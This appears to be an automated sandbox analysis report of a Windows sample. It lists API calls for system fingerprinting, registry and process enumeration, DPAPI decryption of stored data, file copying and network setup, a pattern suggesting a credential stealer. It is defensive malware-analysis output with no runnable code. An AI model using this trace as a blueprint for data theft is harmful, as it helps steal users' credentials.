Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 004141C0: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004141DF
Part of subcall function 004141C0: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041421C
Part of subcall function 004141C0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004142A0
Part of subcall function 004141C0: HeapAlloc.KERNEL32(00000000), ref: 004142A7

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00414300: GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414314
Part of subcall function 00414300: HeapAlloc.KERNEL32(00000000), ref: 0041431B
Part of subcall function 00414300: RegOpenKeyExA.KERNEL32(80000002,00A3A998,00000000,00020119,00000000), ref: 0041433B
Part of subcall function 00414300: RegQueryValueExA.KERNEL32(00000000,00A58F80,00000000,00000000,000000FF,000000FF), ref: 0041435C
Part of subcall function 00414300: RegCloseKey.ADVAPI32(00000000), ref: 00414366

Part of subcall function 00414380: GetCurrentProcess.KERNEL32(00000000,?,?,0040FF99,00000000,?,00A59878,00000000,?,0041D74C,00000000,?,00000000,00000000,?,00A53CD8), ref: 0041438F
Part of subcall function 00414380: IsWow64Process.KERNEL32(00000000,?,?,0040FF99,00000000,?,00A59878,00000000,?,0041D74C,00000000,?,00000000,00000000,?,00A53CD8), ref: 00414396

Part of subcall function 004143C0: GetProcessHeap.KERNEL32(00000000,00000104,00401177,00A53B18,004136EB,0041D6E3), ref: 004143CD
Part of subcall function 004143C0: HeapAlloc.KERNEL32(00000000), ref: 004143D4
Part of subcall function 004143C0: GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

Part of subcall function 00414400: GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
Part of subcall function 00414400: HeapAlloc.KERNEL32(00000000), ref: 00414414
Part of subcall function 00414400: GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Part of subcall function 00414450: GetProcessHeap.KERNEL32(00000000,00000104,?,0041D748,00000000,?,00000000,0041D2B1), ref: 0041445D
Part of subcall function 00414450: HeapAlloc.KERNEL32(00000000), ref: 00414464
Part of subcall function 00414450: GetLocalTime.KERNEL32(?), ref: 00414471
Part of subcall function 00414450: wsprintfA.USER32 ref: 004144A0

Part of subcall function 004144B0: GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,?,00A59268,00000000,?,0041D758,00000000,?,00000000,00000000,?,00A59978,00000000), ref: 004144C0
Part of subcall function 004144B0: HeapAlloc.KERNEL32(00000000), ref: 004144C7
Part of subcall function 004144B0: GetTimeZoneInformation.KERNEL32(?), ref: 004144DA

Part of subcall function 00414530: GetUserDefaultLocaleName.KERNEL32(00000000,00000055,00000000,00000000,?,00A59268,00000000,?,0041D758,00000000,?,00000000,00000000,?,00A59978,00000000), ref: 00414542

Part of subcall function 00414570: GetKeyboardLayoutList.USER32(00000000,00000000,0041D146), ref: 0041459E
Part of subcall function 00414570: LocalAlloc.KERNEL32(00000040,?), ref: 004145B6
Part of subcall function 00414570: GetKeyboardLayoutList.USER32(?,00000000), ref: 004145CA
Part of subcall function 00414570: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0041461F
Part of subcall function 00414570: LocalFree.KERNEL32(00000000), ref: 004146DF

Part of subcall function 00414710: GetSystemPowerStatus.KERNEL32(00000000), ref: 0041471A

GetCurrentProcessId.KERNEL32(00000000,?,00A598D8,00000000,?,0041D76C,00000000,?,00000000,00000000,?,00A59400,00000000,?,0041D768,00000000), ref: 0041037E

Part of subcall function 00415B70: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00415B84
Part of subcall function 00415B70: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00415BA5
Part of subcall function 00415B70: CloseHandle.KERNEL32(00000000), ref: 00415BAF

Part of subcall function 00414740: GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414754
Part of subcall function 00414740: HeapAlloc.KERNEL32(00000000), ref: 0041475B
Part of subcall function 00414740: RegOpenKeyExA.KERNEL32(80000002,00A3A378,00000000,00020119,00000000), ref: 0041477B
Part of subcall function 00414740: RegQueryValueExA.KERNEL32(00000000,00A59678,00000000,00000000,000000FF,000000FF), ref: 0041479C
Part of subcall function 00414740: RegCloseKey.ADVAPI32(00000000), ref: 004147A6

Part of subcall function 00414800: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00414846
Part of subcall function 00414800: GetLastError.KERNEL32 ref: 00414855

Part of subcall function 004147C0: GetSystemInfo.KERNEL32(00000000), ref: 004147CD
Part of subcall function 004147C0: wsprintfA.USER32 ref: 004147E3

Part of subcall function 00414960: GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,00000000,?,00A592F8,00000000,?,0041D774,00000000,?,00000000,00000000,?,00A59370), ref: 0041496D
Part of subcall function 00414960: HeapAlloc.KERNEL32(00000000), ref: 00414974
Part of subcall function 00414960: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 00414995
Part of subcall function 00414960: __aulldiv.LIBCMT ref: 004149AF
Part of subcall function 00414960: __aulldiv.LIBCMT ref: 004149BD
Part of subcall function 00414960: wsprintfA.USER32 ref: 004149E9

Part of subcall function 00414ED0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00414F1C
Part of subcall function 00414ED0: HeapAlloc.KERNEL32(00000000), ref: 00414F23
Part of subcall function 00414ED0: wsprintfA.USER32 ref: 00414F3D

Part of subcall function 00414AE0: RegOpenKeyExA.KERNEL32(00000000,00A56010,00000000,00020019,00000000,0041D289), ref: 00414B41

Part of subcall function 00414AE0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00414BC3
Part of subcall function 00414AE0: wsprintfA.USER32 ref: 00414BF6
Part of subcall function 00414AE0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00414C18
Part of subcall function 00414AE0: RegCloseKey.ADVAPI32(00000000), ref: 00414C29
Part of subcall function 00414AE0: RegCloseKey.ADVAPI32(00000000), ref: 00414C36

Part of subcall function 00414DE0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00414E07
Part of subcall function 00414DE0: Process32First.KERNEL32(00000000,00000128), ref: 00414E1B
Part of subcall function 00414DE0: Process32Next.KERNEL32(00000000,00000128), ref: 00414E30
Part of subcall function 00414DE0: FindCloseChangeNotification.KERNEL32(00000000), ref: 00414E9E

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041095B

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,00A53D08), ref: 00404ED9

Strings

E.A, xrefs: 00410981, 004109AC, 00410984

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$CloseOpen$wsprintf$Namelstrcpy$InformationLocallstrlen$CurrentInfoKeyboardLayoutListLocaleProcess32QueryStatusSystemTimeUserValue__aulldivlstrcat$ChangeComputerCreateDefaultDirectoryEnumErrorFileFindFirstFreeGlobalHandleInternetLastLogicalMemoryModuleNextNotificationPowerProcessorSnapshotToolhelp32VolumeWindowsWow64Zone
String ID: E.A
API String ID: 1035121393-2211245587
Opcode ID: fd793cf59ff657d011db25b72d0f928b0ca449df263be987ead38ede1e7cfdb4
Instruction ID: c29c4d19e1a1d8256a8b8cfc17993bd3f91cdea4a247a897ffed86f061f16859
Opcode Fuzzy Hash: fd793cf59ff657d011db25b72d0f928b0ca449df263be987ead38ede1e7cfdb4
Instruction Fuzzy Hash: 9372B076D10118AACB15FB91EC91EDEB73DAF14308F51439FB01662491EF346B89CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00411350 Relevance: 6.1, APIs: 4, Instructions: 100stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00411378

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

strtok_s.MSVCRT ref: 0041146F

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,00A53B28,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: 60ff015088fc02718b9d0cfd9cfc7a15c1e0e7a636844893993b9db276041dad
Instruction ID: bc44fb65e395c18893d79e2daadfc8d7f4384440e0cba23ba4018ddaa6f79c9f
Opcode Fuzzy Hash: 60ff015088fc02718b9d0cfd9cfc7a15c1e0e7a636844893993b9db276041dad
Instruction Fuzzy Hash: 04417175D00208DBCB04EFE5D855AEEBB75BF48304F00811EE51177290EB38AA85CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004096C0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

Part of subcall function 00415530: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415552

StrStrA.SHLWAPI(00000000,00A58EF0), ref: 0040971B

Part of subcall function 004094A0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 004094CF
Part of subcall function 004094A0: LocalAlloc.KERNEL32(00000040,?,?,?,00404BAE,00000000,?), ref: 004094E1
Part of subcall function 004094A0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 0040950A
Part of subcall function 004094A0: LocalFree.KERNEL32(?,?,?,?,00404BAE,00000000,?), ref: 0040951F

memcmp.MSVCRT ref: 00409774

Part of subcall function 00409540: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409564
Part of subcall function 00409540: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409583
Part of subcall function 00409540: LocalFree.KERNEL32(?), ref: 004095AF

Strings

DPAPI, xrefs: 0040976B
, xrefs: 004097A3

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$ChangeCloseCreateDataFindNotificationReadSizeUnprotectlstrcpymemcmp
String ID: $DPAPI
API String ID: 2647593125-1819349886
Opcode ID: d3c8652dd1ca3068a6e0ffc68c49c5a373407d1c73a57ba5093d8ee148d19a9e
Instruction ID: 25d6f3248392bfa9bca68fd769027b68fff5740b7e0b7820d89104a1b18a6e16
Opcode Fuzzy Hash: d3c8652dd1ca3068a6e0ffc68c49c5a373407d1c73a57ba5093d8ee148d19a9e
Instruction Fuzzy Hash: 493141B6D10108EBCF04DF94DC45AEFB7B9AF48704F14452DE905B3292E7389A44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00414DE0 Relevance: 6.1, APIs: 4, Instructions: 60processCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00414E07
Process32First.KERNEL32(00000000,00000128), ref: 00414E1B
Process32Next.KERNEL32(00000000,00000128), ref: 00414E30

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindCloseChangeNotification.KERNEL32(00000000), ref: 00414E9E

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 3491751439-0
Opcode ID: 250d1f3784d373654f10e29ae5a1d1385e57e6a6c18b911288aca6a97c4ccb78
Instruction ID: b51d58226d22fc07b4aaea4bdcaba1b12d12dab42e387443cd86e66b2ce9f1c4
Opcode Fuzzy Hash: 250d1f3784d373654f10e29ae5a1d1385e57e6a6c18b911288aca6a97c4ccb78
Instruction Fuzzy Hash: ED211D759002189BCB24EB61DC95FDEB779AF54304F1041DAA50A66190DF38AFC5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 004159E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00411879,80000000,00000003,00000000,00000003,00000080,00000000,?,00411879,?), ref: 004159FC
GetFileSizeEx.KERNEL32(000000FF,00411879), ref: 00415A19
CloseHandle.KERNEL32(000000FF), ref: 00415A27

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: f3a5877fc348a9a64368c001e27037213673241a1fda354ede690d4ee948c5a4
Instruction ID: adbcd47bb22ca6d6b42933acd4cabc8e10c5a14c322029dfd4b487fe3fd33794
Opcode Fuzzy Hash: f3a5877fc348a9a64368c001e27037213673241a1fda354ede690d4ee948c5a4
Instruction Fuzzy Hash: C9F03139F44604FBDB20DBF0DC85BDE7779BF44710F118255B951A7280DA7496428B44

Uniqueness

Uniqueness Score: -1.00%

Function 004137B3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00A53B28,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 0041378A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004137A8
CloseHandle.KERNEL32(00000000), ref: 004137B9
Sleep.KERNEL32(00001770), ref: 004137C4
CloseHandle.KERNEL32(?,00000000,?,00A53B28,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 004137DA
ExitProcess.KERNEL32 ref: 004137E2

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: b72d18ed1bdfc85c434ab68d1be83dc3fedaf905ff30e20f0e2c3bf58e55dee1
Instruction ID: 00ad45554361a1bf9ffb836df5d455c5d00fe00f471bf70531fad30136aebd8c
Opcode Fuzzy Hash: b72d18ed1bdfc85c434ab68d1be83dc3fedaf905ff30e20f0e2c3bf58e55dee1
Instruction Fuzzy Hash: 5FF054B0944206AAE720AFA1DD05BFE7675BB08B46F10851AF612951C0DBB856818A5D

Uniqueness

Uniqueness Score: -1.00%

Function 00406730 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

Pi@, xrefs: 0040689F, 00406884, 0040684E, 004067C2, 0040679E

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID:
String ID: Pi@
API String ID: 0-1360946908
Opcode ID: 8cfa37973c56b3597612bf0eabde1d0c10c792fef38bbd1cab651f123bbbde38
Instruction ID: 3e1b1374d11ee30af11b8018be346ecc1401931fa3badc01db0dac5c56ce0c6a
Opcode Fuzzy Hash: 8cfa37973c56b3597612bf0eabde1d0c10c792fef38bbd1cab651f123bbbde38
Instruction Fuzzy Hash: 756105B5D00208DBDB14DF94D984BEEB7B0AB48304F1185AAE80677380D739AEA5DF95

Uniqueness

Uniqueness Score: -1.00%

Function 00404470 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

Part of subcall function 00414FF0: malloc.MSVCRT ref: 00414FF8

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

Strings

<, xrefs: 00404489

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlenmalloc
String ID: <
API String ID: 3848002758-4251816714
Opcode ID: 687962ccc4eae67d17fcff549de06531ab168f4bf6ac0391c2f29faedae00af7
Instruction ID: 4ed07355fbd84ea2b0e25782c0c6f45789bb77a73037a8222357df496ca5bcbd
Opcode Fuzzy Hash: 687962ccc4eae67d17fcff549de06531ab168f4bf6ac0391c2f29faedae00af7
Instruction Fuzzy Hash: 52216DB1D00208ABDF10EFA5E845BDD7B74AB44324F008229FA25B72C0EB346A46CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF80 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00A53D48), ref: 0040EFCE
StrCmpCA.SHLWAPI(00000000,00A53D98), ref: 0040F06F
StrCmpCA.SHLWAPI(00000000,00A53CC8), ref: 0040F17E

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 387c1471b30200fa3e1b6f926d880132b46352d3b3752d2a5df310ae9f7e180a
Instruction ID: 4355cab003f180362ea4467312be264c8b2230b95154913c46dc9b5fce20c885
Opcode Fuzzy Hash: 387c1471b30200fa3e1b6f926d880132b46352d3b3752d2a5df310ae9f7e180a
Instruction Fuzzy Hash: 8D719871B002099BCF08FF75D9929EEB77AAF94304B10852EF4099B285EA34DE45CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF9F Relevance: 4.7, APIs: 3, Instructions: 177COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00A53D48), ref: 0040EFCE
StrCmpCA.SHLWAPI(00000000,00A53D98), ref: 0040F06F
StrCmpCA.SHLWAPI(00000000,00A53CC8), ref: 0040F17E

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 6e16318ec3576a7917c735181da0985fc4cb66f82d2ccd53e25df3d0e6c7e550
Instruction ID: f0c51ec5e8e6f52f2f367cc82315d09f99f950b48122d5325302ee48485a66a2
Opcode Fuzzy Hash: 6e16318ec3576a7917c735181da0985fc4cb66f82d2ccd53e25df3d0e6c7e550
Instruction Fuzzy Hash: 03618A71B002099FCF08EF75D9929EEB77AAF94304B10852EF4099B295DA34EE45CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 004127E0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 0041281A
lstrcat.KERNEL32(?,00A596F8), ref: 00412838

Part of subcall function 00412570: wsprintfA.USER32 ref: 00412589
Part of subcall function 00412570: FindFirstFileA.KERNEL32(?,?), ref: 004125A0

Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D864), ref: 004125CE
Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D868), ref: 004125E4
Part of subcall function 00412570: FindNextFileA.KERNEL32(000000FF,?), ref: 004127B9
Part of subcall function 00412570: FindClose.KERNEL32(000000FF), ref: 004127CE

Part of subcall function 00412570: wsprintfA.USER32 ref: 0041260A
Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D4B2), ref: 0041261C
Part of subcall function 00412570: wsprintfA.USER32 ref: 00412639
Part of subcall function 00412570: PathMatchSpecA.SHLWAPI(?,?), ref: 0041266F
Part of subcall function 00412570: lstrcat.KERNEL32(?,00A53D58), ref: 0041269B
Part of subcall function 00412570: lstrcat.KERNEL32(?,0041D880), ref: 004126AD
Part of subcall function 00412570: lstrcat.KERNEL32(?,?), ref: 004126BE
Part of subcall function 00412570: lstrcat.KERNEL32(?,0041D884), ref: 004126D0
Part of subcall function 00412570: lstrcat.KERNEL32(?,?), ref: 004126E4
Part of subcall function 00412570: CopyFileA.KERNEL32(?,?,00000001), ref: 004126FA
Part of subcall function 00412570: DeleteFileA.KERNEL32(?), ref: 00412779

Part of subcall function 00412570: wsprintfA.USER32 ref: 0041265B

Strings

00A, xrefs: 0041285C, 0041288B, 004128BB, 004128EA, 0041291A, 00412949, 0041296B, 0041285F, 0041288E, 004128BE, 004128ED, 0041291D, 0041294C

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: 00A
API String ID: 2104210347-95910775
Opcode ID: aee14ac10de1ece76b3008eda533a8383be3bc2d628396bcb6b319180cdda7cd
Instruction ID: 9a839e9be304faf39bc4facc08b08f26c4420ed68fa3aa933a56f5c5bfc0aac5
Opcode Fuzzy Hash: aee14ac10de1ece76b3008eda533a8383be3bc2d628396bcb6b319180cdda7cd
Instruction Fuzzy Hash: 6441ABB7A001047BCB24FBE0DC92EEA377E9B94705F00424DB55987191ED74A7D48BD9

Uniqueness

Uniqueness Score: -1.00%

Function 6CCE3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CCE3095

Part of subcall function 6CCE35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CD6F688,00001000), ref: 6CCE35D5
Part of subcall function 6CCE35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CCE35E0
Part of subcall function 6CCE35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CCE35FD
Part of subcall function 6CCE35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CCE363F
Part of subcall function 6CCE35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CCE369F
Part of subcall function 6CCE35A0: __aulldiv.LIBCMT ref: 6CCE36E4

